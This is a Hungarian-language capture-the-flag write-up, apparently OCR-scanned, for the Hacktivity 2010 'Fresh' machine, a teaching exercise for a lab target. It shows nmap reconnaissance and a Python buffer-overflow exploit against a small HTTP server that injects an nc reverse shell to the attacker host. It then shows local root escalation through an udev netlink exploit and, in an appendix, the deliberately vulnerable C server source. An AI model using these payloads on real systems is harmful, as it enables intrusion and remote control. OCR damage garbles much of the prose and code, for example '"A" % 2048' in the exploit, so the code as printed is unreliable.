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1. Bevezeto

Az ismertetésre keriilé 1épéssorozat egy lehetséges modja a Hacktivity 2010 rendezvényen Cap-
ture the Flag néven meghirdetett verseny Fresh nevii gépén felhasznal6i hozzaférés szerzésének,
majd a privilégium rendszeradminisztratori szintre emelésének.

A verseny soran a résztvev6k szamara mindossze az az informacio allt rendelkezésre, hogy
a célpont az altaluk fizikailag is elérhet6 halézaton egy megadott cimtartomanyban IP cimmel
rendelkezik. A felhasznaldi ill. adminisztratori hozzaférés megszerzését a megfelel6 felhasznald
sajat konyvtaraban talalhato proof . txt allomany tartalméanak ismeretével kellett igazolni.

E dokumentumban a 192.168.82.1-50 IP cim tartomanyt fogjuk hasznalni.

2. IP cim és szolgaltatasok felderitése

Az IP cim felderitéséhez az nmap eszkozt vessziik igénybe. Tovabbi paraméterek megadasa nél-
kiil az eszkoz végigpasztazza a kapott cimtartomanyt, majd ha az éppen vizsgalt cimrél valaszt
kap, egy lista alapjan végigprobalgatja a leggyakrabban elérhet6 szolgaltatasokat. A program ki-
menetébdl az olvashatosag kedvéért kihagytuk a tartomanyban talalhatd, tobbi gépre vonatkozd
adatokat.

# nmap 192.168.82.1-50

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-16 15:39
CEST

Interesting ports on 192.168.82.19:

Not shown: 999 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 50 IP addresses (4 hosts up) scanned in 70.15
seconds

Lathatd, hogy a 192.168.82.19 cimen elérhet gépen két szolgaltatas is valaszol, az SSH és a
HTTP. Az SSH szolgaltatas verzidja egyszertien megallapithaté nc eszkoz hasznalataval a meg-
felel6 cim és port megadasaval.

# nc 192.168.82.19 22
SSH-2.0-0penSSH_5.5p1 Debian-4

Webes keresés segitségével kiderithet, hogy a verzidban jelenleg nincs ismert tavolrol ki-
hasznalhato biztonsagi hiba, igy egyel6re érdemesebb a masik szolgaltatasra fokuszalni. A HTTP
szolgaltatas ellenérzéséhez beirtuk egy bongészébe a gép IP cimét.
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i [% 192.168.82.19 ﬁ

<« C | (© 192.168.82.19 @ B A
Index of /

* ulnhttpd
* yulnhitpd.c

Valaszként egy egyszert konyvtarlistazast kapunk, az egyik fajl neve vulnhttpd.c, ezt le-
toltve egy egyszertt HTTP szerver kb. 150 soros C nyelv{i forrasat kapjuk meg. Kézelebbrél meg-
nézve a forraskodot lathatd, hogy az nagy valdszintiséggel a futo HTTP kiszolgaloé. A teljes
forraskod megtalalhat6 a dokumentum végén talalhato fiiggelékben.

3. Felhasznaldi szint(i hozzaférés megszerzése

A forraskddot tiizetesebben atnézve lathato, hogy a konyvtarlistazast ugy allitja eld, hogy
amennyiben a kért utvonal / karakterre végzddik, végrehajt egy parancsot, amelyet egy olyan
valtozoban tarol, amely a cimet tarol6 puffer el6tt lett definidlva. Utébbi koriilmény miatt a
valtoz6 a memoriaban ,veremszomszédja” a cimpuffernek, azaz ha sikeriil ravenni a programot,
hogy irjon a cimpufferbe tobb adatot, mint annak a mérete, egy olyan véaltozoba keriil érték,
melynek tartalma végrehajtasra kertl.

A 124. sorban lathatd, hogy a path valtoz6 ugy kap értéket, hogy egy, a korlatokra nem fi-
gyel6 sprintf hivassal egymas utan a cimet tarold valtozéba keriil az aktualis konyvtar elérési
utvonala és a bongész6tél kapott altala kért utvonal. Mivel utobbit a taimado adja meg, innen-
t6l killonosebb probléma nélkiil felilirhaté a futtatasra keriilé parancs, ezzel pedig felhasznaléi
jogosultsag szerezhet6 a gépen.

A parancsvégrehajtas soran az SSH verzidja alapjan szinte biztosra vehetjiik, hogy Debian
vagy azon alapul6 disztribucioval van dolgunk, igy a rendszeren nagy valoszintiséggel megtalal-
hatok a gyakori UNIX segédprogramok, pl. a netcat.

A kihasznalas egy lehetséges modja példaul az alabbi Python szkript, mely feltételezi, hogy
a tamado IP cime 192.168.82.20. A szkript hibat kihasznalva kiad a szerveren egy nc parancsot
ugy, hogy az megprobal visszacsatlakozni a tamado gépéhez, majd a kapcsolat 1étrejotte utan
végrehajtja a tamadotol érkez6 parancsokat. Ennek a a megoldasnak az elénye, hogy kevesebb
eséllyel okoz gondot a szerver tiizfala.

#!/usr/bin/env python
from socket import *

s = socket (AF_INET, SOCK_STREAM)

s.connect (("192.168.82.19", 80))

filename = "/" + "A" % 2048 + ";nc+192.168.82.20+4444+-e+/bin
/sh;echo+/"

s.send ("GET %s HTTP/1.0\n\n" % filename)
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data = s.recv(4096)
while len(data) > O:
print data
data = s.recv(4096)
s.close()

A szkript futtatasa el6tt elinditjuk a nc programot ugy, hogy figyeljen a 4444-es porton. A
szkript futtatasat kovetéen egy parancssori hozzaférést kapunk a géphez, a webszervert futtatd
felhasznald jogaival.

$ nc -lvp 4444

listening on [any] 4444

192.168.82.19: inverse host lookup failed: Unknown host

connect to [192.168.82.20] from (UNKNOWN) [192.168.82.19]
47002

id

uid=1000(user) gid=1000(user) groups=20(dialout) ,24(cdrom)
,25(floppy) ,29(audio) ,44(video) ,46(plugdev) ,1000(user)

pwd

/home /user

cat proof.txt

3c8c121b2e32916c2c48e932aclbacbhb

Elértik tehat, hogy tetszbleges parancsot végre tudunk hajtani a webszerver nevében,
amellyel egyrészt megszereztilk a szitkséges bizonyitékot, masrészt kiindulopontot biztosit a
rendszergazdai jogosultsag megszerzéséhez.

4. Rendszergazdai jogosultsag megszerzése

Parancsvégrehajtasi lehetéség birtokaban egyszertien le tudjuk kérdezni a fut6 kernel verzi-
6jat és CPU architekturajat.

$ uname -a
Linux debian-arm 2.6.26-2-versatile #1 Fri Apr 10 12:38:53
CEST 2009 armvbtejl GNU/Linux

Lathatd, hogy a gép a megszokottdl eltér6en ARM architektiraju, emiatt a privilégium-
szint emeléséhez hasznalatos modszerek koziil nehezebben kivitelezheték azok, melyek Intel-
specifikusak (x86 vagy x64).

A fut6 folyamatokat a ps aux paranccsal kilistazva viszonylag kevés futd szolgaltatas ta-
lalhatd, igy nem nagy munka egyenként végignézni azokat. A szolgaltatasok verzidinak és az
exploit-db.com Linux local exploitok listdjanak els6 harom oldalat végignézve kiderithetd,
hogy az udev 141-nél korabbi verzidit egy netlink hiba kihasznalasaval helyi felhasznalé jogo-
sultsaganak kiterjesztésre veheti ra (EDB ID: 8478).

$ /sbin/udevd --version
125
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A verziot lekérdezve lathatd, hogy a gépen a 125-6s, a hiba altal érintett valtozat fut, a ki-
hasznalashoz pedig minddssze shell és C fordito szitkséges. A gcc parancs kiadasakor azonban
azt a hibatizenetet kapjuk, hogy az nem elérhetd.

$ gcc

bash: gcc: command not found

Féjlrendszerbeli keresgéléssel azonban kiderithet6, hogy telepitve van a GCC 4.3 verzioja,
csak a szimbolikus link hianyzik ra, igy az explicit gcc-4.3 parancsot kiadva futtathato is. Az
emlitett udev exploitot ennek megfeleléen modositva megoldhato a privilégiumemelés.

$ cat /proc/net/netlink

sk Eth Pid Groups Rmem Wmem Dump Locks

c7¢c34a00 O 0 00000000 © 0 00000000 2

c7205e00 7 0 00000000 © 0 00000000 2

c71e8a00 9 0 00000000 © 0 00000000 2

c7c68400 10 O 00000000 © 0 00000000 2

c72caal0 15 598 00000001 © 0 00000000 2

c7c34400 15 O 00000000 © 0 00000000 2

c7c3a400 16 O 00000000 © 0 00000000 2

c7c3a600 18 O 00000000 © 0 00000000 2

$ ./expl.sh 598

suid.c: In function main

suid.c:3: warning: incompatible 1implicit declaration of built
-in function execl

sh-3.2# 1id

uid=0(root) gid=0(root) groups=20(dialout) ,24(cdrom) ,25(
floppy) ,29(audio) ,44(video) ,46(plugdev) ,1000(user)

sh-3.2# cat /root/proof

b0365eaaaalbde735af2c614321b6e48

Elértiik tehat, hogy tetszéleges parancsot végre tudunk hajtani a rendszeradminsztrator ne-
vében, amellyel egyrészt megszereztiik a sziikséges bizonyitékot, masrészt barmit megtehetiink
a gépen, ezzel teljesitettiik a kit(izott feladatot.
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Fiiggelék: a HTTP szerver forraskodja

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <fcntl.h>

#define MAXCONNS 1000

#define BUFSIZE 4096

#define PORT "2010"

#define INDEXCMD "1s | awk ’{print \"<1li><a href=\\\"\"§$1
VNN >ATEIN"</a></Ti>\"} "

char xRO0OO0OT;

int listenfd, clients [MAXCONNS];
void error (char *);

void startServer ();

void respond(int);

int main ()

{
struct sockaddr_in clientaddr;
socklen_t addrlen;
char c¢;

ROOT = getenv ("PWD") ;

int slot = 0;

int 1i;
for (i = 0; i < MAXCONNS; i++)
clients[i] = -1;

startServer () ;

while (1)
{

addrlen = sizeof(clientaddr);
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clients[slot] = accept(listenfd, (struct sockaddr *)

clientaddr , &addrlen);

if (clients[slot] < 0)
error ("accept () error");
else
{
if (fork() =
{
respond(slot);
exit (0) ;

0)

while (clients[slot] !'= -1) slot = (slot + 1) Y%
MAXCONNS ;

return O;

void startServer ()

{

struct addrinfo hints, *res, *p;

memset (&hints, 0, sizeof (hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;

if
{

}
fo

{

+
if
{

(getaddrinfo (NULL, PORT, &hints, &res) != 0)

perror ("getaddrinfo () error");
exit (1) ;

r (p = res; p != NULL; p = p->ai_next)

listenfd = socket(p->ai_family, p->ai_socktype, O
if (listenfd == -1) continue;
if (bind(listenfd, p->ai_addr, p->ai_addrlen) ==

(p == NULL)

perror ("socket () or bind()");
exit (1) ;
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freeaddrinfo (res);

if (listen(listenfd, 1000000) !'= 0)
{
perror ("listen() error");
exit (1) ;
}
}
void respond(int n)
{
char mesg[BUFSIZE], *reqline[3], data_to_send[BUFSIZE], 1s
[64], path[2048];
int rcvd, fd, bytes_read;
strcpy(ls, INDEXCMD);
memset ((void*)mesg, (int)’>\0’, BUFSIZE);
rcvd = recv(clients[n], mesg, BUFSIZE, 0);
if (rcvd > 0)
{
reqline [0] = strtok(mesg, " \t\n");
if (strncmp(reqline[0], "GET\O0", 4) == 0)
{
reqline [1] = strtok (NULL, " \t");
reqline [2] = strtok (NULL, " \t\n");
if (strncmp(reqline[2], "HTTP/1.0", 8) != 0 && strncmp(
reqline [2], "HTTP/1.1", 8) != 0)
{
write(clients[n], "HTTP/1.0 400 Bad Request\n", 25);
}
else
{

struct stat fs;
FILE *1list;
int 1i;

/* decode spaces like PHP’s urldecode () */
for (i = 0; i < strlen(reqlinel[1]); i++)

if (reqline[11[i] == ’>+’) reqline[1]1[i]l = > ’;

sprintf (path, "%s%s", ROOT, reqline[1]);
if (path[strlen(path) - 1] == */?)
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char index[BUFSIZE];
int nb;

write(clients[n], "HTTP/1.0 200 OK\n\n<html><body><
hi>Index of ", 42);
write(clients[n], reqline[1], strlen(reqline[1]));
write(clients[n], "</hl><ul>", 9);
list = popen(ls, "r");
while ((nb = fread(index, 1, BUFSIZE, 1list)) > 0)
write(clients[n], index, nb);
pclose(list);
write(clients[n], "</ul></body></html>", 19);
}
else if ((fd = open(path, O_RDWR)) != -1)
{
send(clients[n], "HTTP/1.0 200 OK\n\n", 17, 0);
while ((bytes_read = read(fd, data_to_send, BUFSIZE
)) > 0)
write(clients[n], data_to_send, bytes_read);
}
else write(clients([n], "HTTP/1.0 404 Not Found\n",
23) ;

shutdown(clients[n], SHUT_RDWR) ;
close(clients[n]);
clients[n] = -1;
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